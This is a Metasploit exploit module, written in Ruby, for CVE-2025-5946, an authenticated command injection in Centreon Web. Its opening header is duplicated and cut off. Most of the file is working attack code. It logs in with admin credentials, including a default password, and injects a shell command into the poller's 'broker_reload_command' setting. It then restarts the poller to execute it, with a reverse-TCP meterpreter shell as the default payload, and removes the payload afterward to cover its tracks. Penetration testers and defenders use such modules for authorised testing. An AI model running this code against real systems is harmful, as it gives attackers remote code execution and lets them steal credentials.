##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
'Description' => %q{
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
This module exploits an command injection vulnerability using the `broker engine reload` setting
on the poller configuration page of the Centreon web application. Injecting a malcious payload
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
You need have admin access at the Centreon Web application in order to execute this RCE.
This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
`24.10.13`, `24.04.18` and `23.10.28`.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
],
'References' => [
['CVE', '2025-5946'],
['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-09-24',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
])
end

# login at the Centreon web application
# return true if login successful else false
def centreon_login(name, pwd)
# login with admin credentials
# first try login logic in newer versions
post_data = {
login: name.to_s,
password: pwd.to_s
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
'data' => post_data.to_s
})
return true if res&.code == 200 && res.body.include?('redirect_uri')

# try again using login logic for older versions
# get centreon_token
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})

# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
if res&.code == 200 && res.body.include?('centreon_token')
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
else
vprint_status('No centreon_token found!')
return false
end

# login with admin credentials and centreon_token
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'useralias' => name.to_s,
'password' => pwd.to_s,
'submitLogin' => 'Connect',
'centreon_token' => centreon_token.to_s
}
})
return true if res&.code == 302
else
vprint_warning('Unable to process the centreon_token.')
end
false
end

# CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
def execute_payload(cmd, _opts = {})
@clean_payload = true
payload = ";#{cmd}"
vprint_status("payload=#{payload}")
# attach payload at the centreon broker engine "reload parameter
fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)

# trigger execution by restarting the poller
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'keep_cookies' => true,
'vars_post' => {
'poller' => 1,
'mode' => 1
}
})
end

# attach payload at the centreon broker engine "reload" parameter and commit into the sql database
def drop_rce_payload(payload)
# get the poller configuration and centreon_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901,
'o' => 'c',
'server_id' => 1
}
})

# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
if res&.code == 200 && res.body.include?('centreon_token')
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
else
vprint_status('No centreon_token found!')
return false
end

# update poller "centreon broker engine reload" setting with payload
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901
},
'vars_post' => {
'name' => 'Central',
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => 1,
'is_default[is_default]' => 1,
'gorgone_communication_type[gorgone_communication_type]' => 1,
'gorgone_port' => 5556,
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => "service cbd reload#{payload}",
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => nil,
'centreonconnector_path' => '/usr/lib64/centreon-connector',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'ns_activate[ns_activate]' => 1,
'submitC' => 'Save',
'id' => 1,
'o' => 'c',
'centreon_token' => centreon_token.to_s
}
})
if res&.code == 200 && res.body.include?('ajaxOption table')
vprint_good('Poller setting "broker_reload_command" updated with payload.')
return true
end
vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
else
vprint_warning('Unable to process the centreon_token.')
end
return false
end

# try to remove the payload from the poller settings to cover our tracks
def cleanup
super
# check if payload should be cleaned
if @clean_payload
vprint_status('Cleaning up the mess...')
if drop_rce_payload(nil)
print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
else
print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
end
end
end

# get the Centreon version
# return version if successful else nil
def get_centreon_version
# get version information use Web API v2.0
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
'keep_cookies' => true
})
# for older versions try to scrape the version from the login web page
unless res&.code == 200 && res.body.include?('web')
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
return nil unless res&.code == 200

build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
return nil if build.nil?

return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
end
res_json = res.get_json_document
res_json['web']['version'] unless res_json.blank?
end

def check
version = get_centreon_version
return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?

case version.scan(/^\d+\.\d+/)[0]
when '24.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
when '24.04'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
when '23.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
else
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
end

CheckCode::Safe("Centreon version #{version}")
end

def exploit
# check if we can login at the Centreon Web application with the default admin credentials
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
print_status('Succesfully authenticated at the Centreon Web application.')

# storing credentials at the msf database
print_status('Saving admin credentials at the msf database.')
store_valid_credential(user: username, private: password)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_payload(payload.encoded)
end
end